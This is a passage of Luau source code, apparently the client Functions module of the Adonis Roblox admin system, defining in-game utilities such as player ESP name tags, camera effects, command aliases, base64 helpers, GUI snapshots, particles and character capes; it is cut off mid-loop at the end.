coroutine,\n\trawequal, typeof, print, math, warn, error, pcall,\n\txpcall, select, rawset, rawget, ipairs, pairs,\n\tnext, Rect, Axes, os, time, Faces, unpack, string, Color3,\n\tnewproxy, tostring, tonumber, Instance, TweenInfo, BrickColor,\n\tNumberRange, ColorSequence, NumberSequence, ColorSequenceKeypoint,\n\tNumberSequenceKeypoint, PhysicalProperties, Region3int16,\n\tVector3int16, require, table, type, wait,\n\tEnum, UDim, UDim2, Vector2, Vector3, Region3, CFrame, Ray, delay\n\n\tlocal script = script\n\tlocal service = Vargs.Service\n\tlocal client = Vargs.Client\n\tlocal Anti, Core, Functions, Process, Remote, UI, Variables\n\tlocal function Init()\n\t\tUI = client.UI;\n\t\tAnti = client.Anti;\n\t\tCore = client.Core;\n\t\tVariables = client.Variables;\n\t\tFunctions = client.Functions;\n\t\tProcess = client.Process;\n\t\tRemote = client.Remote;\n\n\t\tFunctions.Init = nil;\n\tend\n\n\tlocal function RunLast()\n\t\t--[[client = service.ReadOnly(client, {\n\t\t\t\t[client.Variables] = true;\n\t\t\t\t[client.Handlers] = true;\n\t\t\t\tG_API = true;\n\t\t\t\tG_Access = true;\n\t\t\t\tG_Access_Key = true;\n\t\t\t\tG_Access_Perms = true;\n\t\t\t\tAllowed_API_Calls = true;\n\t\t\t\tHelpButtonImage = true;\n\t\t\t\tFinish_Loading = true;\n\t\t\t\tRemoteEvent = true;\n\t\t\t\tScriptCache = true;\n\t\t\t\tReturns = true;\n\t\t\t\tPendingReturns = true;\n\t\t\t\tEncodeCache = true;\n\t\t\t\tDecodeCache = true;\n\t\t\t\tReceived = true;\n\t\t\t\tSent = true;\n\t\t\t\tService = true;\n\t\t\t\tHolder = true;\n\t\t\t\tGUIs = true;\n\t\t\t\tLastUpdate = true;\n\t\t\t\tRateLimits = true;\n\n\t\t\t\tInit = true;\n\t\t\t\tRunLast = true;\n\t\t\t\tRunAfterInit = true;\n\t\t\t\tRunAfterLoaded = true;\n\t\t\t\tRunAfterPlugins = true;\n\t\t\t}, true)--]]\n\n\t\tFunctions.RunLast = nil;\n\tend\n\n\tgetfenv().client = nil\n\tgetfenv().service = nil\n\tgetfenv().script = nil\n\n\tclient.Functions = {\n\t\tInit = Init;\n\t\tRunLast = RunLast;\n\t\tKill = client.Kill;\n\n\t\tESPFaces = {\"Front\", \"Back\", \"Top\", \"Bottom\", \"Left\", \"Right\"};\n\t\tESPify = function(obj, color)\n\t\t\tlocal Debris = service.Debris\n\t\t\tlocal New = service.New\n\n\t\t\tlocal LocalPlayer = service.UnWrap(service.Player)\n\n\t\t\tfor i, part in obj:GetChildren() do\n\t\t\t\tif part:IsA(\"BasePart\") then\n\t\t\t\t\tif part.Name == \"Head\" and not part:FindFirstChild(\"__ADONIS_NAMETAG\") then\n\t\t\t\t\t\tlocal player = service.Players:GetPlayerFromCharacter(part.Parent)\n\n\t\t\t\t\t\tif player then\n\t\t\t\t\t\t\tlocal bb = New(\"BillboardGui\", {\n\t\t\t\t\t\t\t\tName = \"__ADONIS_NAMETAG\",\n\t\t\t\t\t\t\t\tAlwaysOnTop = true,\n\t\t\t\t\t\t\t\tStudsOffset = Vector3.new(0,2,0),\n\t\t\t\t\t\t\t\tSize = UDim2.new(0,100,0,40),\n\t\t\t\t\t\t\t\tAdornee = part,\n\t\t\t\t\t\t\t}, true)\n\t\t\t\t\t\t\tlocal taglabel = New(\"TextLabel\", {\n\t\t\t\t\t\t\t\tBackgroundTransparency = 1,\n\t\t\t\t\t\t\t\tTextColor3 = Color3.new(1,1,1),\n\t\t\t\t\t\t\t\tTextStrokeTransparency = 0,\n\t\t\t\t\t\t\t\tText = string.format(\"%s (@%s)\\n> %s <\", player.DisplayName, player.Name, \"0\"),\n\t\t\t\t\t\t\t\tSize = UDim2.new(1, 0, 1, 0),\n\t\t\t\t\t\t\t\tTextScaled = true,\n\t\t\t\t\t\t\t\tTextWrapped = true,\n\t\t\t\t\t\t\t\tParent = bb\n\t\t\t\t\t\t\t}, true)\n\n\t\t\t\t\t\t\tbb.Parent = part\n\n\t\t\t\t\t\t\tif player ~= LocalPlayer then\n\t\t\t\t\t\t\t\tspawn(function()\n\t\t\t\t\t\t\t\t\trepeat\n\t\t\t\t\t\t\t\t\t\tif not part then\n\t\t\t\t\t\t\t\t\t\t\tbreak\n\t\t\t\t\t\t\t\t\t\tend\n\n\t\t\t\t\t\t\t\t\t\tlocal DIST = LocalPlayer:DistanceFromCharacter(part.CFrame.Position)\n\t\t\t\t\t\t\t\t\t\ttaglabel.Text = string.format(\"%s (@%s)\\n> %s <\", player.DisplayName, player.Name, DIST and math.floor(DIST) or 'N/A')\n\n\t\t\t\t\t\t\t\t\t\ttask.wait()\n\t\t\t\t\t\t\t\t\tuntil not part or not bb or not taglabel\n\t\t\t\t\t\t\t\tend)\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\n\t\t\t\t\tfor _, surface in Functions.ESPFaces do\n\t\t\t\t\t\tlocal gui = New(\"SurfaceGui\", {\n\t\t\t\t\t\t\tAlwaysOnTop = true,\n\t\t\t\t\t\t\tResetOnSpawn = false,\n\t\t\t\t\t\t\tFace = surface,\n\t\t\t\t\t\t\tAdornee = part,\n\t\t\t\t\t\t}, true)\n\n\t\t\t\t\t\tNew(\"Frame\", {\n\t\t\t\t\t\t\tSize = UDim2.new(1, 0, 1, 0),\n\t\t\t\t\t\t\tBackgroundColor3 = color,\n\t\t\t\t\t\t\tParent = gui,\n\t\t\t\t\t\t}, true)\n\n\t\t\t\t\t\tgui.Parent = part;\n\t\t\t\t\t\tlocal tempConnection;\n\t\t\t\t\t\ttempConnection = gui.AncestryChanged:Connect(function(obj, parent)\n\t\t\t\t\t\t\tif obj == gui and parent == nil then\n\t\t\t\t\t\t\t\ttempConnection:Disconnect()\n\t\t\t\t\t\t\t\tDebris:AddItem(gui,0)\n\t\t\t\t\t\t\t\tfor i,v in Variables.ESPObjects do\n\t\t\t\t\t\t\t\t\tif v == gui then\n\t\t\t\t\t\t\t\t\t\ttable.remove(Variables.ESPObjects, i)\n\t\t\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\tend)\n\n\t\t\t\t\t\tVariables.ESPObjects[gui] = part;\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\t\tend;\n\n\t\tCharacterESP = function(mode, target, color)\n\t\t\tcolor = color or Color3.new(1, 0, 0.917647)\n\n\t\t\tlocal Debris = service.Debris\n\t\t\tlocal UnWrap = service.UnWrap\n\n\t\t\tif Variables.ESPEvent then\n\t\t\t\tVariables.ESPEvent:Disconnect();\n\t\t\t\tVariables.ESPEvent = nil;\n\t\t\tend\n\n\t\t\tfor obj in Variables.ESPObjects do\n\t\t\t\tif not mode or not target or (target and obj:IsDescendantOf(target)) then\n\t\t\t\t\tlocal __ADONIS_NAMETAG = obj.Parent and obj.Parent:FindFirstChild(\"__ADONIS_NAMETAG\")\n\t\t\t\t\tif __ADONIS_NAMETAG then\n\t\t\t\t\t\t__ADONIS_NAMETAG:Destroy()\n\t\t\t\t\tend\n\n\t\t\t\t\tDebris:AddItem(obj,0)\n\t\t\t\t\tVariables.ESPObjects[obj] = nil;\n\t\t\t\tend\n\t\t\tend\n\n\t\t\tif mode == true then\n\t\t\t\tif not target then\n\t\t\t\t\tVariables.ESPEvent = workspace.ChildAdded:Connect(function(obj)\n\t\t\t\t\t\ttask.wait()\n\n\t\t\t\t\t\tlocal human = obj.ClassName == \"Model\" and service.Players:GetPlayerFromCharacter(obj)\n\n\t\t\t\t\t\tif human then\n\t\t\t\t\t\t\ttask.spawn(Functions.ESPify, UnWrap(obj), color);\n\t\t\t\t\t\tend\n\t\t\t\t\tend)\n\n\t\t\t\t\tfor _, Player in service.Players:GetPlayers() do\n\t\t\t\t\t\tif Player.Character then\n\t\t\t\t\t\t\ttask.spawn(Functions.ESPify, UnWrap(Player.Character), color);\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\telse\n\t\t\t\t\tFunctions.ESPify(UnWrap(target), color);\n\t\t\t\tend\n\t\t\tend\n\t\tend;\n\n\t\tGetRandom = function(pLen)\n\t\t\t--local str = \"\"\n\t\t\t--for i=1,math.random(5,10) do str=`{str}{string.char(math.random(33,90))}` end\n\t\t\t--return str\n\n\t\t\tlocal random = math.random\n\t\t\tlocal format = string.format\n\n\t\t\tlocal Len = (type(pLen) == \"number\" and pLen) or random(5,10) --// reru\n\t\t\tlocal Res = {};\n\t\t\tfor Idx = 1, Len do\n\t\t\t\tRes[Idx] = format('%02x', random(255));\n\t\t\tend;\n\t\t\treturn table.concat(Res)\n\t\tend;\n\n\t\tSetView = function(ob)\n\t\t\tlocal CurrentCamera = workspace.CurrentCamera\n\n\t\t\tif ob=='reset' then\n\t\t\t\tCurrentCamera.CameraType = Enum.CameraType.Custom\n\t\t\t\tCurrentCamera.CameraSubject = service.Player.Character:FindFirstChildOfClass(\"Humanoid\")\n\t\t\t\tCurrentCamera.FieldOfView = 70\n\t\t\telse\n\t\t\t\tCurrentCamera.CameraSubject = ob\n\t\t\tend\n\t\tend;\n\n\t\tAddAlias = function(alias, command)\n\t\t\tVariables.Aliases[string.lower(alias)] = command;\n\t\t\tRemote.Get(\"UpdateAliases\", Variables.Aliases)\n\t\t\ttask.defer(UI.MakeGui, \"Notification\", {\n\t\t\t\tTime = 4;\n\t\t\t\tIcon = client.MatIcons[\"Add circle\"];\n\t\t\t\tTitle = \"Notification\";\n\t\t\t\tMessage = string.format('Alias \"%s\" added', string.lower(alias));\n\t\t\t})\n\t\tend;\n\n\t\tRemoveAlias = function(alias)\n\t\t\tif Variables.Aliases[string.lower(alias)] then\n\t\t\t\tVariables.Aliases[string.lower(alias)] = nil;\n\t\t\t\tRemote.Get(\"UpdateAliases\", Variables.Aliases)\n\t\t\t\ttask.defer(UI.MakeGui, \"Notification\", {\n\t\t\t\t\tTime = 4;\n\t\t\t\t\tIcon = client.MatIcons.Delete;\n\t\t\t\t\tTitle = \"Notification\";\n\t\t\t\t\tMessage = string.format('Alias \"%s\" removed', string.lower(alias));\n\t\t\t\t})\n\t\t\telse\n\t\t\t\ttask.defer(UI.MakeGui, \"Notification\", {\n\t\t\t\t\tTime = 3;\n\t\t\t\t\tIcon = client.MatIcons.Help;\n\t\t\t\t\tTitle = \"Error\";\n\t\t\t\t\tMessage = string.format('Alias \"%s\" not found', string.lower(alias));\n\t\t\t\t})\n\t\t\tend\n\t\tend;\n\n\t\tPlaylist = function()\n\t\t\treturn Remote.Get(\"Playlist\")\n\t\tend;\n\n\t\tUpdatePlaylist = function(playlist)\n\t\t\tRemote.Get(\"UpdatePlaylist\", playlist)\n\t\tend;\n\n\t\tDizzy = function(speed)\n\t\t\tservice.StopLoop(\"DizzyLoop\")\n\t\t\tif speed then\n\t\t\t\tlocal cam = workspace.CurrentCamera\n\t\t\t\tlocal last = time()\n\t\t\t\tlocal rot = 0\n\t\t\t\tlocal flip = false\n\t\t\t\tservice.StartLoop(\"DizzyLoop\",\"RenderStepped\",function()\n\t\t\t\t\tlocal dt = time() - last\n\t\t\t\t\tif flip then\n\t\t\t\t\t\trot += math.rad(speed*dt)\n\t\t\t\t\telse\n\t\t\t\t\t\trot -= math.rad(speed*dt)\n\t\t\t\t\tend\n\t\t\t\t\tcam.CFrame *= CFrame.Angles(0, 0.00, rot)\n\t\t\t\t\tlast = time()\n\t\t\t\tend)\n\t\t\tend\n\t\tend;\n\n\t\tBase64Encode = function(data)\n\t\t\tlocal sub = string.sub\n\t\t\tlocal byte = string.byte\n\t\t\tlocal gsub = string.gsub\n\n\t\t\treturn (gsub(gsub(data, '.', function(x)\n\t\t\t\tlocal r, b = \"\", byte(x)\n\t\t\t\tfor i = 8, 1, -1 do\n\t\t\t\t\tr ..= (b % 2 ^ i - b % 2 ^ (i - 1) > 0 and '1' or '0')\n\t\t\t\tend\n\t\t\t\treturn r;\n\t\t\tend) .. '0000', '%d%d%d?%d?%d?%d?', function(x)\n\t\t\t\tif #(x) < 6 then\n\t\t\t\t\treturn ''\n\t\t\t\tend\n\t\t\t\tlocal c = 0\n\t\t\t\tfor i = 1, 6 do\n\t\t\t\t\tc += (sub(x, i, i) == '1' and 2 ^ (6 - i) or 0)\n\t\t\t\tend\n\t\t\t\treturn sub('ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/', c + 1, c + 1)\n\t\t\tend)..({\n\t\t\t\t'',\n\t\t\t\t'==',\n\t\t\t\t'='\n\t\t\t})[#(data) % 3 + 1])\n\t\tend;\n\n\t\tBase64Decode = function(data)\n\t\t\tlocal sub = string.sub\n\t\t\tlocal gsub = string.gsub\n\t\t\tlocal find = string.find\n\t\t\tlocal char = string.char\n\n\t\t\tlocal b = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'\n\n\t\t\tdata = gsub(data, `[^{b}=]`, '')\n\n\t\t\treturn (gsub(gsub(data, '.', function(x)\n\t\t\t\tif x == '=' then\n\t\t\t\t\treturn ''\n\t\t\t\tend\n\t\t\t\tlocal r, f = '', (find(b, x) - 1)\n\t\t\t\tfor i = 6, 1, -1 do\n\t\t\t\t\tr ..= (f % 2 ^ i - f % 2 ^ (i - 1) > 0 and '1' or '0')\n\t\t\t\tend\n\t\t\t\treturn r;\n\t\t\tend), '%d%d%d?%d?%d?%d?%d?%d?', function(x)\n\t\t\t\tif #x ~= 8 then\n\t\t\t\t\treturn ''\n\t\t\t\tend\n\t\t\t\tlocal c = 0\n\t\t\t\tfor i = 1, 8 do\n\t\t\t\t\tc += (sub(x, i, i) == '1' and 2 ^ (8 - i) or 0)\n\t\t\t\tend\n\t\t\t\treturn char(c)\n\t\t\tend))\n\t\tend;\n\n\t\tGetGuiData = function(args)\n\t\t\tlocal props = {\n\t\t\t\t\"AbsolutePosition\";\n\t\t\t\t\"AbsoluteSize\";\n\t\t\t\t\"ClassName\";\n\t\t\t\t\"Name\";\n\t\t\t\t\"Parent\";\n\t\t\t\t\"Archivable\";\n\t\t\t\t\"SelectionImageObject\";\n\t\t\t\t\"Active\";\n\t\t\t\t\"BackgroundColor3\";\n\t\t\t\t\"BackgroundTransparency\";\n\t\t\t\t\"BorderColor3\";\n\t\t\t\t\"BorderSizePixel\";\n\t\t\t\t\"Position\";\n\t\t\t\t\"Rotation\";\n\t\t\t\t\"Selectable\";\n\t\t\t\t\"Size\";\n\t\t\t\t\"SizeConstraint\";\n\t\t\t\t\"Style\";\n\t\t\t\t\"Visible\";\n\t\t\t\t\"ZIndex\";\n\t\t\t\t\"ClipsDescendants\";\n\t\t\t\t\"Draggable\";\n\t\t\t\t\"NextSelectionDown\";\n\t\t\t\t\"NextSelectionLeft\";\n\t\t\t\t\"NextSelectionRight\";\n\t\t\t\t\"NextSelectionUp\";\n\t\t\t\t\"AutoButtonColor\";\n\t\t\t\t\"Modal\";\n\t\t\t\t\"Image\";\n\t\t\t\t\"ImageColor3\";\n\t\t\t\t\"ImageRectOffset\";\n\t\t\t\t\"ImageRectSize\";\n\t\t\t\t\"ImageTransparency\";\n\t\t\t\t\"ScaleType\";\n\t\t\t\t\"SliceCenter\";\n\t\t\t\t\"Text\";\n\t\t\t\t\"TextColor3\";\n\t\t\t\t\"Font\";\n\t\t\t\t\"TextScaled\";\n\t\t\t\t\"TextStrokeColor3\";\n\t\t\t\t\"TextStrokeTransparency\";\n\t\t\t\t\"TextTransparency\";\n\t\t\t\t\"TextWrapped\";\n\t\t\t\t\"TextXAlignment\";\n\t\t\t\t\"TextYAlignment\";\n\t\t\t};\n\n\t\t\tlocal classes = {\n\t\t\t\t\"ScreenGui\";\n\t\t\t\t\"GuiMain\";\n\t\t\t\t\"Frame\";\n\t\t\t\t\"TextButton\";\n\t\t\t\t\"TextLabel\";\n\t\t\t\t\"ImageButton\";\n\t\t\t\t\"ImageLabel\";\n\t\t\t\t\"ScrollingFrame\";\n\t\t\t\t\"TextBox\";\n\t\t\t\t\"BillboardGui\";\n\t\t\t\t\"SurfaceGui\";\n\t\t\t}\n\n\t\t\tlocal guis = {\n\t\t\t\tProperties = {\n\t\t\t\t\tName = \"ViewGuis\";\n\t\t\t\t\tClassName = \"Folder\";\n\t\t\t\t};\n\t\t\t\tChildren = {};\n\t\t\t}\n\n\t\t\tlocal add; add = function(tab,child)\n\t\t\t\tlocal good = false\n\n\t\t\t\tfor _, v in classes do\n\t\t\t\t\tif child:IsA(v) then\n\t\t\t\t\t\tgood = true\n\t\t\t\t\tend\n\t\t\t\tend\n\n\t\t\t\tif good then\n\t\t\t\t\tlocal new = {\n\t\t\t\t\t\tProperties = {};\n\t\t\t\t\t\tChildren = {};\n\t\t\t\t\t}\n\n\t\t\t\t\tfor _, v in props do\n\t\t\t\t\t\tpcall(function()\n\t\t\t\t\t\t\tnew.Properties[v] = child[v]\n\t\t\t\t\t\tend)\n\t\t\t\t\tend\n\n\t\t\t\t\tfor _, v in child:GetChildren() do\n\t\t\t\t\t\tadd(new,v)\n\t\t\t\t\tend\n\t\t\t\t\ttable.insert(tab.Children, new)\n\t\t\t\tend\n\t\t\tend\n\t\t\tfor _, v in service.PlayerGui:GetChildren() do\n\t\t\t\tpcall(add, guis, v)\n\t\t\tend\n\t\t\treturn guis\n\t\tend;\n\n\t\tLoadGuiData = function(data)\n\t\t\tlocal make; make = function(dat)\n\t\t\t\tlocal props = dat.Properties\n\t\t\t\tlocal children = dat.Children\n\t\t\t\tlocal gui = service.New(props.ClassName)\n\n\t\t\t\tfor i,v in props do\n\t\t\t\t\tpcall(function()\n\t\t\t\t\t\tgui[i] = v\n\t\t\t\t\tend)\n\t\t\t\tend\n\n\t\t\t\tfor i,v in children do\n\t\t\t\t\tpcall(function()\n\t\t\t\t\t\tlocal g = make(v)\n\t\t\t\t\t\tif g then\n\t\t\t\t\t\t\tg.Parent = gui\n\t\t\t\t\t\tend\n\t\t\t\t\tend)\n\t\t\t\tend\n\t\t\t\treturn gui\n\t\t\tend\n\n\t\t\tlocal temp = Instance.new(\"Folder\")\n\t\t\tfor _, v in service.PlayerGui:GetChildren() do\n\t\t\t\tif not UI.Get(v) then\n\t\t\t\t\tv.Parent = temp\n\t\t\t\tend\n\t\t\tend\n\t\t\tVariables.GuiViewFolder = temp\n\t\t\tlocal folder = service.New(\"Folder\",{Parent = service.PlayerGui; Name = \"LoadedGuis\"})\n\t\t\tfor _, v in data.Children do\n\t\t\t\tpcall(function()\n\t\t\t\t\tlocal g = make(v)\n\t\t\t\t\tif g then\n\t\t\t\t\t\tg.Parent = folder\n\t\t\t\t\tend\n\t\t\t\tend)\n\t\t\tend\n\t\tend;\n\n\t\tUnLoadGuiData = function()\n\t\t\tfor _, v in service.PlayerGui:GetChildren() do\n\t\t\t\tif v.Name == \"LoadedGuis\" then\n\t\t\t\t\tv:Destroy()\n\t\t\t\tend\n\t\t\tend\n\n\t\t\tif Variables.GuiViewFolder then\n\t\t\t\tfor _, v in Variables.GuiViewFolder:GetChildren() do\n\t\t\t\t\tv.Parent = service.PlayerGui\n\t\t\t\tend\n\t\t\t\tVariables.GuiViewFolder:Destroy()\n\t\t\t\tVariables.GuiViewFolder = nil\n\t\t\tend\n\t\tend;\n\n\t\tGetParticleContainer = function(target)\n\t\t\tif target then\n\t\t\t\tfor _, v in service.LocalContainer():GetChildren() do\n\t\t\t\t\tif v.Name == `{target:GetFullName()}PARTICLES` then\n\t\t\t\t\t\tlocal obj = v:FindFirstChild(\"_OBJECT\")\n\t\t\t\t\t\tif obj.Value == target then\n\t\t\t\t\t\t\treturn v\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\t\tend;\n\n\t\tNewParticle = function(target, class, properties)\n\t\t\tlocal effect, index;\n\n\t\t\tproperties.Parent = target;\n\t\t\tproperties.Enabled = Variables.ParticlesEnabled;\n\n\t\t\teffect = service.New(class, properties);\n\t\t\tindex = Functions.GetRandom();\n\n\t\t\tVariables.Particles[index] = effect;\n\n\t\t\ttable.insert(Variables.Particles, effect);\n\n\t\t\teffect.Changed:Connect(function()\n\t\t\t\tif not effect or not effect.Parent or effect.Parent ~= target then\n\t\t\t\t\tpcall(function() effect:Destroy() end)\n\t\t\t\t\tVariables.Particles[index] = nil;\n\t\t\t\tend\n\t\t\tend)\n\t\tend;\n\n\t\tRemoveParticle = function(target, name)\n\t\t\tfor i,effect in Variables.Particles do\n\t\t\t\tif effect.Parent == target and effect.Name == name then\n\t\t\t\t\teffect:Destroy();\n\t\t\t\t\tVariables.Particles[i] = nil;\n\t\t\t\tend\n\t\t\tend\n\t\tend;\n\n\t\tEnableParticles = function(enabled)\n\t\t\tfor _, effect in Variables.Particles do\n\t\t\t\tif enabled then\n\t\t\t\t\teffect.Enabled = true\n\t\t\t\telse\n\t\t\t\t\teffect.Enabled = false\n\t\t\t\tend\n\t\t\tend\n\t\tend;\n\n\t\tNewLocal = function(class, props, parent)\n\t\t\tlocal obj = service.New(class)\n\t\t\tfor prop,value in props do\n\t\t\t\tobj[prop] = value\n\t\t\tend\n\n\t\t\tif not parent or parent == \"LocalContainer\" then\n\t\t\t\tobj.Parent = service.LocalContainer()\n\t\t\telseif parent == \"Camera\" then\n\t\t\t\tobj.Parent = workspace.CurrentCamera\n\t\t\telseif parent == \"PlayerGui\" then\n\t\t\t\tobj.Parent = service.PlayerGui\n\t\t\tend\n\t\tend;\n\n\t\tMakeLocal = function(object,parent,clone)\n\t\t\tif object then\n\t\t\t\tlocal object = object\n\t\t\t\tif clone then object = object:Clone() end\n\t\t\t\tif not parent or parent == \"LocalContainer\" then\n\t\t\t\t\tobject.Parent = service.LocalContainer()\n\t\t\t\telseif parent == \"Camera\" then\n\t\t\t\t\tobject.Parent = workspace.CurrentCamera\n\t\t\t\telseif parent == \"PlayerGui\" then\n\t\t\t\t\tobject.Parent = service.PlayerGui\n\t\t\t\tend\n\t\t\tend\n\t\tend;\n\n\t\tMoveLocal = function(object,parent,newParent)\n\t\t\tlocal par\n\t\t\tif not parent or parent == \"LocalContainer\" then\n\t\t\t\tpar = service.LocalContainer()\n\t\t\telseif parent == \"Camera\" then\n\t\t\t\tpar = workspace.CurrentCamera\n\t\t\telseif parent == \"PlayerGui\" then\n\t\t\t\tpar = service.PlayerGui\n\t\t\tend\n\t\t\tfor _, obj in par:GetChildren() do\n\t\t\t\tif obj.Name == object or obj == obj then\n\t\t\t\t\tobj.Parent = newParent\n\t\t\t\tend\n\t\t\tend\n\t\tend;\n\n\t\tRemoveLocal = function(object,parent,match)\n\t\t\tlocal par\n\t\t\tif not parent or parent == \"LocalContainer\" then\n\t\t\t\tpar = service.LocalContainer()\n\t\t\telseif parent == \"Camera\" then\n\t\t\t\tpar = workspace.CurrentCamera\n\t\t\telseif parent == \"PlayerGui\" then\n\t\t\t\tpar = service.PlayerGui\n\t\t\tend\n\n\t\t\tfor _, obj in par:GetChildren() do\n\t\t\t\tif match and string.match(obj.Name,object) or obj.Name == object or object == obj then\n\t\t\t\t\tobj:Destroy()\n\t\t\t\tend\n\t\t\tend\n\t\tend;\n\n\t\tNewCape = function(options)\n\t\t\tlocal char = options.Parent\n\t\t\tif not char then\n\t\t\t\treturn\n\t\t\tend\n\n\t\t\tlocal material = options.Material or \"Neon\"\n\t\t\tlocal color = options.Color or \"White\"\n\t\t\tlocal reflect = options.Reflectance or 0\n\t\t\tlocal decalId = tonumber(options.Decal or \"\")\n\n\t\t\tlocal torso = char:FindFirstChild(\"Torso\") or char:FindFirstChild(\"UpperTorso\") or char:FindFirstChild(\"HumanoidRootPart\")\n\t\t\tif not (torso and torso:IsA(\"BasePart\")) then\n\t\t\t\treturn\n\t\t\tend\n\n\t\t\tFunctions.RemoveCape(char)\n\n\t\t\tlocal isR15 = torso.Name == \"UpperTorso\"\n\n\t\t\tlocal p = service.New(\"Part\", {\n\t\t\t\tParent = char;\n\t\t\t\tName = \"ADONIS_CAPE\";\n\t\t\t\tAnchored = false;\n\t\t\t\tCanCollide = false;\n\t\t\t\tMassless = true;\n\t\t\t\tCanQuery = false;\n\t\t\t\tSize = Vector3.new(2, 4, 0.1);\n\t\t\t\tPosition = torso.Position;\n\t\t\t\tBrickColor = BrickColor.new(color);\n\t\t\t\tTransparency = 0;\n\t\t\t\tReflectance = reflect;\n\t\t\t\tMaterial = material;\n\t\t\t\tTopSurface = 0;\n\t\t\t\tBottomSurface = 0;\n\t\t\t})\n\n\t\t\tservice.New(\"BlockMesh\", {\n\t\t\t\tParent = p;\n\t\t\t\tScale = Vector3.new(0.9, 0.87, 0.1);\n\t\t\t})\n\n\t\t\tlocal motor1 = service.New(\"Motor\", {\n\t\t\t\tParent = p;\n\t\t\t\tPart0 = p;\n\t\t\t\tPart1 = torso;\n\t\t\t\tMaxVelocity = 0.1;\n\t\t\t\tC0 = CFrame.new(0, 1.75, 0) * CFrame.Angles(0, math.rad(90), 0);\n\t\t\t\tC1 = CFrame.new(0, 1 - (if isR15 then 0.2 else 0), (torso.Size.Z/2)) * CFrame.Angles(0, math.rad(90), 0);\n\t\t\t})\n\n\t\t\tlocal decal = if decalId and decalId ~= 0 then service.New(\"Decal\", {\n\t\t\t\tParent = p;\n\t\t\t\tName = \"Decal\";\n\t\t\t\tFace = 2;\n\t\t\t\tTexture = `rbxassetid://{decalId}`;\n\t\t\t\tTransparency = 0;\n\t\t\t}) else nil\n\n\t\t\tlocal capeData = {\n\t\t\t\tPart = p;\n\t\t\t\tMotor = motor1;\n\t\t\t\tEnabled = true;\n\t\t\t\tParent = char;\n\t\t\t\tTorso = torso;\n\t\t\t\tDecal = decal;\n\t\t\t\tData = options;\n\t\t\t\tWave = true;\n\t\t\t\tisR15 = isR15;\n\t\t\t}\n\t\t\tVariables.Capes[Functions.GetRandom()] = capeData\n\n\t\t\tlocal p = service.Players:GetPlayerFromCharacter(char)\n\t\t\tif p and p == service.Player then\n\t\t\t\tcapeData.isPlayer = true\n\t\t\tend\n\n\t\t\tif not Variables.CapesEnabled then\n\t\t\t\tp.Transparency = 1\n\t\t\t\tif decal then\n\t\t\t\t\tdecal.Transparency = 1\n\t\t\t\tend\n\t\t\t\tcapeData.Enabled = false\n\t\t\tend\n\n\t\t\tFunctions.MoveCapes()\n\t\tend;\n\n\t\tRemoveCape = function(parent)\n\t\t\tfor i, v in Variables.Capes do\n\t\t\t\tif v.Parent == parent or not v.Parent or not v.Parent.Parent then\n\t\t\t\t\tpcall(v.Part.Destroy, v.Part)\n\t\t\t\t\tVariables.Capes[i] = nil\n\t\t\t\tend\n\t\t\tend\n\t\tend;\n\n\t\tHideCapes = function(hide)\n\t\t\tfor i,v in Variables.Capes do\n\t\t\t\tlocal torso = v.Torso\n\t\t\t\tlocal parent = v.Parent\n\t\t\t\tlocal part = v.Part\n\t\t\t\tlocal motor = v.Motor\n\t\t\t\tlocal wave = v.Wave\n\t\t\t\tlocal decal = v.Decal\n\n\t\t\t\tif parent and parent.Parent and torso and torso.Parent and part and part.Parent then\n\t\t\t\t\tif not hide then\n\t\t\t\t\t\tpart.Transparency = 0\n\n\t\t\t\t\t\tif decal then\n\t\t\t\t\t\t\tdecal.Transparency = 0\n\t\t\t\t\t\tend\n\n\t\t\t\t\t\tv.Enabled = true\n\t\t\t\t\telse\n\t\t\t\t\t\tpart.Transparency = 1\n\t\t\t\t\t\tif decal then\n\t\t\t\t\t\t\tdecal.Transparency = 1\n\t\t\t\t\t\tend\n\t\t\t\t\t\tv.Enabled = false\n\t\t\t\t\tend\n\t\t\t\telse\n\t\t\t\t\tpcall(part.Destroy,part)\n\t\t\t\t\tVariables.Capes[i] = nil\n\t\t\t\tend\n\t\t\tend\n\t\tend;\n\n\t\tMoveCapes = function()\n\t\t\tservice.StopLoop(\"CapeMover\")\n\t\t\tservice.StartLoop(\"CapeMover\",0.1,function()\n\t\t\t\tif service.CountTable(Variables.Capes) == 0 or not Variables.CapesEnabled then\n\t\t\t\t\tservice.StopLoop(\"CapeMover\")\n\t\t\t\telse\n\t\t\t\t\tfor i,v in Variables.Capes do\n\t\t\t\t\t\tlocal torso = v.Torso\n\t\t\t\t\t\tlocal parent = v.Parent\n\t\t\t\t\t\tlocal isPlayer = v.isPlayer\n\t\t\t\t\t\tlocal isR15 = v.isR15\n\t\t\t\t\t\tlocal part = v.Part\n\t\t\t\t\t\tlocal motor = v.Motor\n\t\t\t\t\t\tlocal wave = v.Wave\n\t\t\t\t\t\tlocal decal = v.Decal\n\n\t\t\t\t\t\tif parent and parent.Parent and torso and torso.Parent and part and part.Parent then\n\t\t\t\t\t\t\tif v.Enabled and Variables.CapesEnabled then\n\t\t\t\t\t\t\t\tpart.Transparency = 0\n\n\t\t\t\t\t\t\t\tif decal then\n\t\t\t\t\t\t\t\t\tdecal.Transparency = 0\n\t\t\t\t\t\t\t\tend\n\n\t\t\t\t\t\t\t\tlocal ang = 0.1\n\t\t\t\t\t\t\t\tif wave then\n\t\t\t\t\t\t\t\t\tif torso.Velocity.Magnitude > 1 then\n\t\t\t\t\t\t\t\t\t\tang += ((torso.Velocity.Magnitude/10)*.05)+.05\n\t\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\t\t\tv.Wave = false\n\t\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t\tv.Wave = true\n\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\t\tang += math.min(torso.Velocity.Magnitude/11, .8)\n\t\t\t\t\t\t\t\tmotor.MaxVelocity = math.min((torso.Velocity.Magnitude/111), .04) + 0.002\n\t\t\t\t\t\t\t\tif isPlayer 